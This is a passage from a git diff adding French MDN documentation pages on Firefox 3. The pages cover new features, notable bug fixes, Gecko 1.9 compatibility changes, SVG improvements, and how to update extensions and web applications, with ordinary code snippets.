  • Gestion simplifiée des mots de passe. Une barre d'information apparaît en haut de la fenêtre du navigateur pour permettre d'enregistrer le mot de passe après une identification réussie.
    • +
  • Installation de modules simplifiée. Il est à présent possible d'installer des extensions depuis des sites tiers en un nombre réduit de clics, grâce au retrait de la liste blanche des sites de téléchargement de modules.
    • +
  • Nouveau gestionnaire de téléchargement. Le gestionnaire de téléchargement permet de retrouver plus facilement vos fichiers téléchargés.
    • +
  • Reprise des téléchargements. Il est à présent possible de reprendre des téléchargements après le redémarrage du navigateur ou la réinitialisation de votre connexion au réseau.
    • +
  • Zoom pleine page. Depuis le menu Affichage et à l'aide de raccourcis clavier, il est à présent possible d'agrandir et de réduire le contenu de pages entières — il ne s'agit plus simplement du texte mais également de la mise en page et des images.
    • +
  • Défilement des onglets et menu rapide. Les onglets sont plus faciles à identifier avec le nouveau défilement des onglets et leur menu rapide.
    • +
  • Enregistrement de votre session. Firefox 3 vous demande si vous désirez enregistrer vos onglets ouverts lorsque vous quittez Firefox.
    • +
  • Comportement d'ouverture dans des onglets optimisé. L'ouverture d'un dossier de marque-pages dans des onglets ajoute une série de nouveaux onglets au lieu de remplacer les onglets existants.
    • +
  • Barres d'adresse et de recherche plus faciles à redimensionner. Il est à présent aisé de redimensionner les barres d'adresse et de recherche grâce à une poignée de redimensionnement située entre les deux.
    • +
  • Améliorations dans la sélection de texte. Il est à présent possible de sélectionner plusieurs sections de texte à l'aide de la touche Ctrl (Command sur Macintosh). Un double clic avec déplacement sélectionne en mode « mot à mot ». Un triple clic sélectionne tout le paragraphe.
    • +
  • Barre de recherche. La barre de recherche dans la page s'ouvre avec le contenu de la sélection courante.
    • +
  • Gestion des plugins. Les utilisateurs peuvent désactiver des plugins particuliers dans le gestionnaire de modules complémentaires.
    • +
  • Intégration dans Windows Vista. Les menus de Firefox s'affichent à présent avec le thème natif de Vista.
    • +
  • Intégration dans Mac OS X. Firefox utilise le correcteur orthographique de Mac OS X et gère Growl pour les notifications de téléchargements terminés et de mises à jour disponibles.
    • +
  • Bouton « Star ». Le nouveau bouton en forme d'étoile dans la Barre d'adresse permet d'ajouter rapidement un marque-page en un clic. Un second clic permet de ranger et de mettre des étiquettes sur le nouveau marque-page.
    • +
  • Étiquettes. Vous pouvez associer des étiquettes à vos marque-pages pour les trier facilement par sujet.
    • +
  • Barre d'adresse et autocomplétion. Entrez le titre ou l'étiquette d'une page dans la Barre d'adresse pour retrouver rapidement le site que vous cherchez dans votre historique et vos marque-pages. Des indicateurs reprenant l'icône du site, le marque-page et les étiquettes associés vous aident à savoir d'où viennent les résultats.
    • +
  • Dossier de marque-pages intelligent. Le nouveau Classeur de Firefox permet d'accéder rapidement à vous pages récemment marquées et étiquetées, ainsi qu'aux pages que vous visitez fréquemment.
    • +
  • Organiseur de marque-pages et d'historique. La nouvelle gestion unifiée des marque-pages et de l'historique vous permet d'y effectuer rapidement des recherches avec des vues multiples et des dossier dynamiques permettant de conserver vos recherches les plus fréquentes.
    • +
  • Gestionnaire de protocoles Web. Des applications Web, comme les webmails, peuvent à présent être utilisées comme des applications de bureau pour gérer les liens mailto: venant d'autres sites. Une gestion similaire est fournie pour d'autres protocoles. (Notez que les applications Web doivent s'enregistrer elles-mêmes dans Firefox avant que cela fonctionne.)
    • +
  • Actions de téléchargement faciles à utiliser. Un nouveau panneau de préférences d'applications fournit une interface améliorée pour la configuration de gestionnaires pour différents types de fichiers et de protocoles.
    • +
  • Apparence visuelle améliorée. La gestion des images et des polices a été améliorée pour permettre aux sites d'être mieux rendus sur votre écran, avec un rendu des polices plus précis et une meilleure gestion des polices avec des ligatures et des écritures complexes. En outre, les utilisateurs de Mac et Linux (Gnome) remarqueront que Firefox se comporte plus que jamais comme une application native sur leur plateforme, avec une nouvelle apparence.
    • +
  • Gestion des couleurs. En définissant la préférence gfx.color_management.enabled dans {{ mediawiki.external('about:config') }}, vous pouvez demander à Firefox d'utiliser les profils de couleur intégrés dans les images afin d'ajuster la représentation des couleurs à votre écran d'affichage.
    • +
  • Fonctionnement hors ligne. Les applications Web peuvent bénéficier de nouvelles fonctionnalités leur permettant d'être utilisées même sans connexion Internet active.
    • +
+ +

Sécurité et vie privée

+ +
    +
  • Informations sur un site en un clic. Vous voulez en savoir plus sur le site affiché ? Cliquez sur son icône dans la Barre d'adresse pour en connaître le propriétaire. Les informations d'identité sont affichées plus clairement et plus faciles à comprendre.
    • +
  • Protection contre les logiciels malveillants. Firefox 3 vous avertit si vous vous rendez sur un site connu pour installer des virus, spywares, troyens ou d'autres logiciels dangereux. Vous pouvez voir à quoi cet avertissement ressemble en visitant cette page.
    • +
  • Protection contre les sites contrefaits améliorée. Lorsque vous visitez une page suspectée d'être une contrefaçon, une page spéciale s'affiche au lieu du contenu de la page avec un avertissement. Visitez cette page pour voir à quoi elle ressemble.
    • +
  • Erreurs SSL plus faciles à comprendre. Les erreurs présentées lorsqu'un certificat SSL invalide est rencontré ont été clarifiées pour qu'il soit plus facile de comprendre la nature du problème.
    • +
  • Protection contre les modules non à jour. Firefox 3 vérifie automatiquement les versions des modules et plugins et désactive les versions anciennes et non sûres.
    • +
  • Mise à jour sécurisée des modules. La sécurité des mises à jour des modules a été améliorée en désactivant ceux qui ne fournissent pas un mécanisme de mise à jour sécurisé.
    • +
  • Intégration des antivirus. Firefox 3 informe les logiciels antivirus lorsque des fichiers exécutables ont été téléchargés.
    • +
  • Gestion du contrôle parental de Windows Vista. Firefox 3 prend en compte le paramètre système de contrôle parentale de Vista pour désactiver les téléchargements de fichiers.
    • +
+ +

Performances

+ +
    +
  • Fiabilité. Firefox 3 conserve à présent les marque-pages, l'historique, les cookies et les préférences dans une base de données sûre au niveau transactionnel. Cela signifie que vos données sont protégés contre la perte même si votre système se plante.
    • +
  • Vitesse. Firefox 3 dispose d'une amélioration des performances grâce au remplacement de la partie s'occupant de l'affichage à l'écran, ainsi que la gestion de la disposition du contenu.
    • +
  • Utilisation mémoire. Firefox 3 utilise la mémoire de manière plus efficiente avec plus de 300 bugs concernant des fuites mémoire corrigées et de nouvelles fonctionnalités aidant à identifier et libérer automatiquement les blocs mémoire qui ne sont plus utilisés.
    • +
+ +

Voir également

+ +

{{Firefox_for_developers('2')}}

diff --git a/files/fr/mozilla/firefox/releases/3/notable_bugs_fixed/index.html b/files/fr/mozilla/firefox/releases/3/notable_bugs_fixed/index.html new file mode 100644 index 0000000000..8c21490a17 --- /dev/null +++ b/files/fr/mozilla/firefox/releases/3/notable_bugs_fixed/index.html @@ -0,0 +1,35 @@ +--- +title: Bugs importants corrigés dans Firefox 3 +slug: Bugs_importants_corrigés_dans_Firefox_3 +translation_of: Mozilla/Firefox/Releases/3/Notable_bugs_fixed +--- +
{{FirefoxSidebar}}

Cet article fait la liste des corrections importantes faisant partie de Firefox 3 qui ne sont pas nécessairement évidentes à trouver dans la documentation.

+ +
    +
  • Si une erreur se produit à l'analyse d'un overlay, l'overlay n'est pas appliqué. Les erreurs d'analyse apparaissent dans la console d'erreurs. ({{ Bug(355755) }})
    • +
  • Des <menupopup> peuvent être placés dans une liaison XBL et être attachés à un élément de menu ou apparenté. ({{ Bug(345896) }})
    • +
  • La propriété dlgType des éléments button fonctionne correctement. ({{ Bug(308591) }})
    • +
  • Le paramètre canBubble de {{ Domxref("event.initEvent") }} fonctionne correctement et des évènements peuvent être déclenchés sans se propager. ({{ Bug(330190) }})
    • +
  • L'évènement DOMAttrModified gère les attributs avec espace de noms correctement. ({{ Bug(247095) }})
    • +
  • Les instructions de traitement XML, comme <?xml-stylesheet ?>, sont maintenant ajoutés au DOM des documents XUL. Cela signifie que {{ Domxref("document.firstChild") }} n'est pas forcément l'élément racine, utilisez plutôt {{ Domxref("document.documentElement") }}. Par ailleurs, les instructions de traitement <?xml-stylesheet ?> et <?xul-overlay ?> n'ont maintenant plus d'effet en dehors du prologue du document. ({{ Bug(319654) }})
    • +
  • Les fonctions getElementsByAttributeNS() ont été ajoutées aux éléments et documents XUL. ({{ Bug(239976) }})
    • +
  • Les gestionnaires d'évènements sont conservés lorsque des éléments sont déplacés dans ou retirés d'un document XUL. ({{ Bug(286619) }})
    • +
  • Les évènements de mutation sont déclenchés aussi pour les documents non affichés. ({{ Bug(201238) }})
    • +
  • Divers problèmes dans l'ordre d'affichage des éléments ont été corrigés. ({{ Bug(317375) }})
    • +
  • getElementsByTagName() a été corrigé pour fonctionner correctement sur les sous-arbres dont des éléments ont des préfixes d'espaces de noms dans leur nom de balise ({{ Bug(206053) }}).
    • +
  • Les évènements DOMNodeInserted et DOMNodeRemoved s'appliquent à présent aux bons nœuds ({{ Bug(367164) }}).
    • +
  • \d, un des caractères spéciaux dans les expressions rationnelles, a été corrigé pour correspondre uniquement aux chiffres de base de l'alphabet latin (équivalent à {{ mediawiki.external('0-9') }}). ({{ Bug(378738) }})
    • +
  • La catégorie image-sniffing-services permet aux décodeurs d'images implémentés comme des extensions de décoder correctement des images envoyées avec des types MIME incorrects. ({{ Bug(391667) }})
    • +
+ +

Voir également

+ + + +

 

+ +
 
+ +

{{ languages( { "en": "en/Notable_bugs_fixed_in_Firefox_3", "es": "es/Bugs_importantes_solucionados_en_Firefox_3", "ja": "ja/Notable_bugs_fixed_in_Firefox_3", "pl": "pl/Istotne_b\u0142\u0119dy_poprawione_w_Firefoksie_3" } ) }}

diff --git a/files/fr/mozilla/firefox/releases/3/site_compatibility/index.html b/files/fr/mozilla/firefox/releases/3/site_compatibility/index.html new file mode 100644 index 0000000000..aacc05c730 --- /dev/null +++ b/files/fr/mozilla/firefox/releases/3/site_compatibility/index.html @@ -0,0 +1,80 @@ +--- +title: Changements dans Gecko 1.9 affectant les sites Web +slug: Changements_dans_Gecko_1.9_affectant_les_sites_Web +tags: + - Développement_Web + - Gecko +translation_of: Mozilla/Firefox/Releases/3/Site_compatibility +--- +
{{FirefoxSidebar}}
+ +

Cette page essaie de donner un aperçu des changements entre Gecko 1.8 et Gecko 1.9 qui pourraient éventuellement affecter le comportement ou le rendu des sites Web.

+ +

Consultez également Firefox 3 pour les développeurs.

+ +

Évènements

+ +

Gestionnaires d'évènements capturants load

+ +

Dans Gecko 1.8, il n'était pas possible de définir des gestionnaires d'évènements load capturants sur les images. Dans Gecko 1.9, cela devient possible avec la résolution du {{ Bug(234455) }}. Cela peut cependant causer des problèmes sur les sites Web qui ont incorrectement défini leurs gestionnaires d'évènements sur l'évènement load. Consultez la discussion dans le {{ Bug(335251) }}. Pour résoudre ce problème, les pages en question ne doivent pas définir de gestionnaires d'évènements capturants pour l'évènement load.

+ +

Par exemple, ceci :

+ +
window.addEventListener('load', votreFonction, true);
+
+ +

devrait être remplacé par ceci :

+ +
window.addEventListener('load', votreFonction, false);
+
+ +

Pour une explication du fonctionnement de la capture des évènements, consultez DOM Level 2 Event capture (en)

+ +

preventBubble a été supprimée

+ +

Dans Gecko 1.8, la méthode preventBubble existait sur les évènements pour les empêcher de se propager plus haut. Dans Gecko 1.9, cette méthode a été supprimée. À la place, utilisez la méthode standard stopPropagation(), qui fonctionne également dans Gecko 1.8. Ce changement a été produit par le patch pour le {{ Bug(330494) }}. Consultez également le {{ Bug(105280) }}.

+ +

Quelques autres anciennes API d'évènements ne sont plus supportées

+ +

window.captureEvents, window.releaseEvents et window.routeEvent ne sont plus supportées ({{ Obsolete_inline() }}) dans Gecko 1.9.

+ +

DOM

+ +

L'exception WRONG_DOCUMENT_ERR se déclenche lorsque l'on essaie d'utiliser un nœud d'un document différent

+ +

Les nœuds provenant de documents externes doivent être clonés à l'aide de document.importNode() (ou adoptés avec + document.adoptNode()) avant de pouvoir être insérés dans le document courant. Pour en savoir plus sur les problèmes + de Node.ownerDocument, consultez la FAQ DOM du W3C (en anglais).

+ +

Gecko n'obligeait pas à utiliser document.importNode() et document.adoptNode() avant sa version 1.9. Depuis les versions 1.9 + alphas, si un nœud n'est pas adopté ou importé avant d'être utilisé dans un autre document, l'exception + WRONG_DOCUMENT_ERR est déclenchée (NS_ERROR_DOM_WRONG_DOCUMENT_ERR). implémentation dans le bug 47903.

+ + +

Ranges

+ +

intersectsNode a été supprimée

+ +

Dans Gecko 1.8, la fonction intersectsNode pouvait être utilisée pour vérifier si un nœud faisait partie d'un range. Cependant, les valeurs renvoyées par cette fonction étaient trompeuses et rarement utiles. Elle a donc été retirée de Gecko 1.9. Utilisez à la place la fonction standard et plus précise compareBoundaryPoints. Cette fonction a été retirée par le patch du {{ Bug(358073) }}.

+ +

Consultez la documentation de intersectsNode pour savoir comment utiliser compareBoundaryPoints à la place.

+ +

compareNode a été supprimée

+ +

Dans Gecko 1.8, la fonction compareNode pouvait être utilisée pour tester l'intersection d'un nœud avec un range. Cependant, les valeurs renvoyées par cette fonction étaient trompeuses et rarement utiles. Elle a donc été retirée de Gecko 1.9. Utilisez à la place la fonction standard et plus précise compareBoundaryPoints. Cette fonction a été retirée par le patch du {{ Bug(358073) }}.

+ +

Consultez la documentation de compareNode pour savoir comment utiliser compareBoundaryPoints à la place.

+ +

HTML

+ +

Correction de nombreux bogues dans le code de <object>

+ +
    +
  • Les éléments object et embed n'ont plus besoin d'attribut type pour être rendus.
    • +
  • La modification de l'attribut src (de <embed>) ou de l'attribut data (de <object>) via JavaScript fonctionne maintenant correctement.
    • +
  • L'en-tête Content-Type envoyé par le serveur (s'il existe) est maintenant prioritaire par rapport à l'attribut type d'une balise <object> comme défini dans la spécification HTML (ceci n'est pas le cas pour embed).
    • +
+ +
 
+ +

{{ languages( { "en": "en/Gecko_1.9_Changes_affecting_websites", "ja": "ja/Gecko_1.9_Changes_affecting_websites", "ko": "ko/Gecko_1.9_Changes_affecting_websites", "pl": "pl/Zmiany_w_Gecko_1.9_wp\u0142ywaj\u0105ce_na_wy\u015bwietlanie_stron", "pt": "pt/Mudan\u00e7as_no_Gecko_1.9_que_afetam_websites" } ) }}

diff --git a/files/fr/mozilla/firefox/releases/3/svg_improvements/index.html b/files/fr/mozilla/firefox/releases/3/svg_improvements/index.html new file mode 100644 index 0000000000..c46f799cea --- /dev/null +++ b/files/fr/mozilla/firefox/releases/3/svg_improvements/index.html @@ -0,0 +1,65 @@ +--- +title: Améliorations SVG dans Firefox 3 +slug: Améliorations_SVG_dans_Firefox_3 +tags: + - Firefox 3 + - SVG +translation_of: Mozilla/Firefox/Releases/3/SVG_improvements +--- +
{{FirefoxSidebar}}

{{ Fx_minversion_header(3) }}

+ +

Firefox 3 offre un support SVG amélioré par rapport aux versions précédentes de Firefox. Ces fonctionnalités sont documentés ailleurs, et cet article fournit une liste pratique permettant de déterminer lesquelles ont été ajoutées dans Firefox 3.

+ +
    +
  • support de l'élément foreignObject ({{ Bug(326966) }}, voir aussi)
    • +
  • support de l'élément pattern (spécification)
    • +
  • support de l'élément mask (spécification)
    • +
  • support de tous les filtres SVG 1.1 (spécification) +
      +
    • filter
      • +
    • feDistantLight
      • +
    • fePointLight
      • +
    • feSpotLight
      • +
    • feBlend
      • +
    • feColorMatrix
      • +
    • feConvolveMatrix
      • +
    • feComponentTransfer, feFuncR, feFuncG, feFuncB, feFuncA
      • +
    • feComposite
      • +
    • feConvolveMatrix
      • +
    • feDiffuseLighting
      • +
    • feDisplacementMap
      • +
    • feDistantLight
      • +
    • feFlood
      • +
    • feGaussianBlur
      • +
    • feImage
      • +
    • feMerge, feMergeNode
      • +
    • feMorphology
      • +
    • feOffset
      • +
    • fePointLight
      • +
    • feSpecularLighting
      • +
    • feTurbulence
      • +
    • feTile
      • +
    +
    • +
  • L'élément <a> géré dans SVG comportent plusieurs bogues résolus : consultez {{ Bug(267664) }}, {{ Bug(268135) }}, {{ Bug(316248) }}, {{ Bug(317270) }} et {{ Bug(320724) }}.
    • +
  • Les méthodes DOM SVG getNumberOfChars(), getComputedTextLength(), getSubStringLength(), getStartPositionOfChar(), getEndPositionOfChar(), getRotationOfChar(), et getCharNumAtPosition() ont été implentées.
    • +
  • support de l'attribut xml:space (spécification)
    • +
  • Les transitions fill/stroke sont à présent supportées (spécification)
    • +
  • Les unités em et ex sont à présent supportées pour l'indication de longueurs ({{ Bug(305859) }}).
    • +
+ +

Voir également

+ + + +

 

+ +

 

+ +
 
+ +

{{ languages( { "en": "en/SVG_improvements_in_Firefox_3", "es": "es/Mejoras_SVG_en_Firefox_3", "ja": "ja/SVG_improvements_in_Firefox_3", "pl": "pl/Poprawki_SVG_w_Firefoksie_3" } ) }}

diff --git a/files/fr/mozilla/firefox/releases/3/updating_extensions/index.html b/files/fr/mozilla/firefox/releases/3/updating_extensions/index.html new file mode 100644 index 0000000000..9b5be44197 --- /dev/null +++ b/files/fr/mozilla/firefox/releases/3/updating_extensions/index.html @@ -0,0 +1,219 @@ +--- +title: Mise à jour des extensions pour Firefox 3 +slug: Mise_à_jour_des_extensions_pour_Firefox_3 +tags: + - Firefox 3 +translation_of: Mozilla/Firefox/Releases/3/Updating_extensions +--- +
+ +

Cet article fournit des informations qui seront utiles pour les développeurs désirant mettre à jour leurs extensions pour qu'elles fonctionnent correctement avec Firefox 3.

+ +

Avant d'aller plus loin, voici une indication utile : si la seule modification dont votre extension a besoin est une mise à jour du champ maxVersion dans son manifeste d'installation, et que celle-ci est hébergée sur addons.mozilla.org, il n'est pas vraiment nécessaire de renvoyer une nouvelle version de votre extension ! Utilisez simplement le Developer Control Panel sur AMO pour ajuster la valeur de maxVersion. Cela vous évitera également la revérification de votre extension.

+ +

Première étape : mise à jour du manifeste d'installation

+ +

La première étape — et pour la plupart des extensions la seule qui sera nécessaire — est de mettre à jour le fichier de manifeste d'installation, install.rdf, pour indiquer sa compatibilité avec Firefox 3.

+ +

Trouvez simplement la ligne indiquant la version maximale compatible de Firefox (qui, pour Firefox 2, ressemblait probablement à ceci) :

+ +
 <em:maxVersion>2.0.*</em:maxVersion>
+
+ +

Modifiez-la pour indiquer la compatibilité avec Firefox 3 :

+ +
 <em:maxVersion>3.0.*</em:maxVersion>
+
+ +

Et réinstallez ensuite votre extension.

+ +

Notez que Firefox 3 n'a plus besoin d'un « .0 » supplémentaire dans son numéro de version, donc au lieu d'utiliser « 3.0.0.* », il ne faut plus indiquer que « 3.0.* ».

+ +
Note : Notez qu'à ce point, il faut s'attendre à d'autres changements dans Firefox 3. Ceux-ci peuvent poser des problèmes à certaines extensions, il faut donc éviter de publier une extension avec la valeur 3.0.0.* pour maxVersion avant que la RC de Firefox 3 soit disponible. Durant la pariode beta de Firefox 3, il convient d'utiliser 3.0b5 comme valeur de maxVersion.
+ +

Il y a eu (et il y aura encore) un certain nombre de changements dans les API qui poseront probablement des problèmes à certaines. Nous sommes encore en train d'établir une liste complète de ces changements.

+ +
Note : Si votre extension utilise toujours un script Install.js plutôt qu'un manifeste d'installation, il vous faudra faire la transition vers un manifeste d'installation maintenant. Firefox 3 ne gère plus les scripts install.js dans les fichiers XPI.
+ +

Ajout de localisations au manifeste d'installation

+ +

Firefox 3 permet d'utiliser de nouvelles propriétés dans le manifeste d'installation pour spécifier des descriptions localisées. Les anciennes méthodes continuent à fonctionner, mais la nouvelle permet à Firefox de charger les localisations même lorsque le module complémentaire est désactivé ou sur le point d'être installé. Consultez Localisation des descriptions d'extensions pour plus de détails.

+ +

Deuxième étape : s'assurer de fournir des mises à jour sécurisées

+ +

Si vous hébergez des modules complémentaires vous-mêmes et pas sur un fournisseur d'hébergement sécurisé comme addons.mozilla.org, vous devrez fournir une méthode sécurisée de mise à jour pour vos modules. Pour ce faire, il faudrait soit héberger vos mises à jour sur un site SSL, ou utiliser des clés cryptographiques pour signer les informations de mise à jour. Consultez Mises à jour sécurisées pour plus d'informations.

+ +

Troisième étape : s'occuper des changements d'API

+ +

Plusieurs API ont changé de manière significative. Les changements les plus importants, qui affecteront probablement un grand nombre d'extensions, sont les suivants :

+ +

DOM

+ +

Les nœuds provenant de documents externes doivent être clonés à l'aide de document.importNode() (ou adoptés avec + document.adoptNode()) avant de pouvoir être insérés dans le document courant. Pour en savoir plus sur les problèmes + de Node.ownerDocument, consultez la FAQ DOM du W3C (en anglais).

+ +

Gecko n'obligeait pas à utiliser document.importNode() et document.adoptNode() avant sa version 1.9. Depuis les versions 1.9 + alphas, si un nœud n'est pas adopté ou importé avant d'être utilisé dans un autre document, l'exception + WRONG_DOCUMENT_ERR est déclenchée (NS_ERROR_DOM_WRONG_DOCUMENT_ERR). implémentation dans le bug 47903.

+ + +

Marque-pages et historique

+ +

Si votre extension accède aux marque-pages ou à des données de l'historique d'une manière ou d'une autre, elle devra être substantiellement modifiée pour être compatible avec Firefox 3. Les anciennes API pour accéder à ces informations ont été remplacées par la nouvelle architecture Places. Consultez le Guide de migration vers Places pour des détails sur la mise à jour de vos extensions existantes en utilisant l'API Places.

+ +

Gestionnaire de téléchargement

+ +

L'API du gestionnaire de téléchargement a légèrement changé suite à la transition d'un stockage de données RDF vers l'API Storage. La transition devrait être très facile à faire. En outre, l'API permettant d'examiner la progression des téléchargements a été modifiée pour permettre l'existence de plusieurs écouteurs sur le gestionnaire de téléchargement. Consultez nsIDownloadManager, nsIDownloadProgressListener et Surveillance de téléchargements pour plus d'informations.

+ +

Gestionnaire de mots de passe

+ +

Si votre extension accède à des informations d'identification à l'aide du Gestionnaire de mots de passe, elle devra être adaptée pour utiliser la nouvelle API du gestionnaire d'identification.

+ +
    +
  • L'article Utilisation de nsILoginManager fournit des exemples, dont une démonstration d'écriture d'extension fonctionnant à la fois avec le Gestionnaire de mots de passe et le Gestionnaire d'identification, afin qu'elle fonctionne tant avec Firefox que dans les versions précédentes.
    • +
  • nsILoginInfo
    • +
  • nsILoginManager
    • +
+ +

Il est également possible de ne pas utiliser le stockage du gestionnaire de mots de passe intégré si vous désirez fournir votre propre implémentation de stockage de mots de passe dans vos extensions. Consultez Création d'un module de stockage du gestionnaire d'identification pour plus de détails.

+ +

Popups (menus, menus contextuels, bulles d'information et panneaux)

+ +

Le système de popups XUL a été modifié de manière importante dans Firefox 3. Celui-ci gère les menus principaux, les menus contextuels et les panneaux d'information. Un guide d'utilisation des popups a été créé pour expliquer en détail le fonctionnement du système. Une chose à noter est l'obsolescence de popup.showPopup en faveur des nouvelles méthodes popup.openPopup et popup.openPopupAtScreen.

+ +

Complément automatique

+ +

La méthode handleEnter() de l'interface nsIAutoCompleteController a été modifiée pour accepter un paramètre indiquant si le texte a été sélectionné depuis le popup de complément automatique ou par l'appui sur la touche Entrée par l'utilisateur après avoir saisi le texte.

+ +

DOMParser

+ +
    +
  • Lorsqu'un objet DOMParser est instancié, il hérite du principal du code appelant et des valeurs documentURI et baseURI de la fenêtre dont le constructeur venait.
    • +
  • Si l'appelant a des privilèges UniversalXPConnect, il peut fournir des paramètres à new DOMParser(). Si moins de trois paramètres sont fournis, les paramètres restants prendront la valeur null par défaut. +
      +
    • Le premier paramètre est le principal à utiliser ; il remplace le principal par défaut normalement hérité.
      • +
    • Le second paramètre est la valeur documentURI à utiliser.
      • +
    • Le troisième paramètre est la valeur baseURI à utiliser.
      • +
    +
    • +
  • Si vous initialisez un DOMParser à l'aide d'un contrat, comme en appelant createInstance(), et que vous n'appelez pas la méthode init() de DOMParser, toute tentative de démarrer une opération d'analyse créera et initialisera automatiquement le DOMParser avec un principal à null et des pointeurs null pour documentURI et baseURI.
    • +
+ +

Interfaces supprimées

+ +

Les interfaces suivantes ont été retirées de Gecko 1.9, sur lequel se base Firefox 3. Si votre extension utilise l'une ou l'autre d'entre-elles, vous devrez mettre à jour votre code :

+ +
    +
  • nsIDOMPaintListener
    • +
  • nsIDOMScrollListener
    • +
  • nsIDOMMutationListener
    • +
  • nsIDOMPageTransitionListener
    • +
  • nsICloseAllWindows (voir le bug 386200)
    • +
+ +

Quatrième étape : vérifier les changements chrome appropriés

+ +

Un changement mineur dans le chrome pourrait nécessiter des changements dans votre code. Un nouveau vbox a été ajouté, appelé « browser-bottombox », qui comprend la Barre de recherche et la Barre d'état en bas de la fenêtre de navigation. Bien que ceci n'affecte pas l'apparence de l'affichage, votre extension peut être affectée si elle utilise des overlays chrome relatifs à ces éléments.

+ +

Par exemple, si vous faisiez précédemment un overlay chrome avant la Barre d'état, comme ceci :

+ +
<window id="main-window">
+  <something insertbefore="status-bar" />
+</window>
+
+ +

Vous devrez à présent le faire comme ceci :

+ +
<vbox id="browser-bottombox">
+  <something insertbefore="status-bar" />
+</vbox>
+
+ +

Ou utilisez la technique suivante pour que votre overlay fonctionne tant avec Firefox 2 que Firefox 3 :

+ +
<window id="main-window">
+  <vbox id="browser-bottombox" insertbefore="status-bar">
+    <something insertbefore="status-bar" />
+  <vbox>
+</window>
+
+ +
Note : Ce changement s'applique à partir de Firefox 3 beta 4 et des nightlies précédentes.
+ +

Autres changements

+ +

Ajoutez ici les changements simples que vous avez dû faire à vos extensions pour qu'elles fonctionnent avec Firefox 3.

+ +
    +
  • chrome://browser/base/utilityOverlay.js n'est plus géré pour des raisons de sécurité. Si vous l'utilisiez auparavant, vous devriez passer à chrome://browser/content/utilityOverlay.js.
    • +
  • Les implémentations de nsIAboutModule doivent à présent supporter la méthode getURIFlags. Consultez nsIAboutModule.idl pour la documentation. Ceci affecte les extensions qui fournissent de nouvelles URI about:. (bug 337746)
    • +
  • L'élément tabbrowser ne fait plus partie du « toolkit » (bug 339964). Cela signifie qu'il n'est plus disponible pour les applications XUL et extensions. Il continue cependant à être utilisé dans la fenêtre principale de Firefox (browser.xul).
    • +
  • Les changements dans les proxys nsISupports et éventuellement aux interfaces liées aux threads doivent être documentés.
    • +
  • Si vous utilisez des instructions de traitement XML comme <?xml-stylesheet ?> dans vos fichiers XUL, tenez compte des changements effectués dans le bug 319654 : +
      +
    1. Les instructions de traitement XML sont à présent ajoutées au DOM des documents XUL. Cela signifie que document.firstChild n'est plus forcément l'élément racine. Si vous avez besoin de l'élément racine dans votre script, utilisez plutôt document.documentElement.
      2. +
    2. Les instructions de traitement <?xml-stylesheet ?> et <?xul-overlay ?> n'ont plus d'effet en dehors du prologue du document.
      3. +
    +
    • +
  • window.addEventListener("load", myFunc, true) n'est pas déclenché au chargement de contenu web (chargement de page dans le navigateur). Ceci est causé par le bug 296639 qui modifie la manière dont les fenêtres internes et externes communiquent. Une correction simple est d'utiliser gBrowser.addEventListener("load", myFunc, true) comme décrit dans les exemples de code et qui fonctionnera dans Firefox 2 également.
    • +
  • content.window.getSelection() fournit un objet (qui peut être converti en une chaîne avec toString()), contrairement à l'ancienne content.document.getSelection(), à présent dépréciée, qui renvoie une chaîne.
    • +
  • event.preventBubble() avait été dépréciée dans Firefox 2 et a été retirée de Firefox 3. Utilisez event.stopPropagation(), qui fonctionne également dans Firefox 2.
    • +
  • Les timers initialisés parsetTimeout() sont à présent bloqués par les fenêtres modales suite à la correction du bug 52209. Vous pouvez utiliser nsITimer à la place.
    • +
  • Si votre extension doit permettre à une source non sûre (par exemple un site web) d'accéder au chrome de l'extension, vous devrez utiliser le nouveau paramètre contentaccessible.
    • +
  • FireFox 3.6 est sensible aux accents dans les pages XUL ! Il faut donc soigneusement enlever toute ponctuation, même dans les commentaires.
    • +
diff --git a/files/fr/mozilla/firefox/releases/3/updating_web_applications/index.html b/files/fr/mozilla/firefox/releases/3/updating_web_applications/index.html new file mode 100644 index 0000000000..993a2db147 --- /dev/null +++ b/files/fr/mozilla/firefox/releases/3/updating_web_applications/index.html @@ -0,0 +1,95 @@ +--- +title: Mise à jour des applications Web pour Firefox 3 +slug: Mise_à_jour_des_applications_Web_pour_Firefox_3 +tags: + - Firefox 3 +translation_of: Mozilla/Firefox/Releases/3/Updating_web_applications +--- +
{{FirefoxSidebar}}
+ +

{{ Fx_minversion_header(3) }} Un certain nombre de changements présents dans Firefox 3 pourraient affecter votre site ou application Web. Vous pourriez en outre tirer parti de plusieurs de ses nouvelles fonctionnalités. Cet article servira de point de départ au fur et à mesure de la mise à jour de votre contenu pour bénéficier au maximum des possibilités de Firefox 3.

+ +

Changements dans le DOM

+ +

Les nœuds provenant de documents externes doivent être clonés à l'aide de document.importNode() (ou adoptés avec + document.adoptNode()) avant de pouvoir être insérés dans le document courant. Pour en savoir plus sur les problèmes + de Node.ownerDocument, consultez la FAQ DOM du W3C (en anglais).

+ +

Gecko n'obligeait pas à utiliser document.importNode() et document.adoptNode() avant sa version 1.9. Depuis les versions 1.9 + alphas, si un nœud n'est pas adopté ou importé avant d'être utilisé dans un autre document, l'exception + WRONG_DOCUMENT_ERR est déclenchée (NS_ERROR_DOM_WRONG_DOCUMENT_ERR). implémentation dans le bug 47903.

+ + +

Changements liés à HTML

+ +

Changements dans l'héritage des jeux de caractères

+ +

Firefox 3 corrige un bug de sécurité dans les éléments frame et iframe qui leur permettait d'hériter du jeu de caractères de leur parent. Cela pouvait poser des problèmes dans certains cas. À présent, les cadres ne peuvent hériter du jeu de caractère de leur parent que si tant le cadre que le parent sont chargés depuis le même serveur. Si vous avez des pages qui dépendent du fait que les cadres chargés depuis d'autres serveurs hériteront du même jeu de caractères, leurs balisage HTML devra être mis à jour pour indiquer leur jeu de caractères plus précisément.

+ +

Changements concernant l'élément SCRIPT

+ +

L'élément <script> dans les documents HTML servis en mode text/html doit à présent être obligatoirement accompagné d'une balise fermante </script>, même si aucun contenu n'est fourni entre les deux balises. Dans les versions précédentes de Firefox, il était possible de faire ceci :

+ +
<script ... />
+
+ +

Le balisage doit à présent respecter les spécifications HTML (si c'est effectivement du HTML), il devient donc obligatoire de placer une balise de fermeture séparément, comme ceci :

+ +
<script ...></script>
+
+ +

Ce changement améliore tant la compatibilité que la sécurité.

+ +

Changements liés à CSS

+ +

Changements concernant les tailles de police basées sur les unités em et ex

+ +

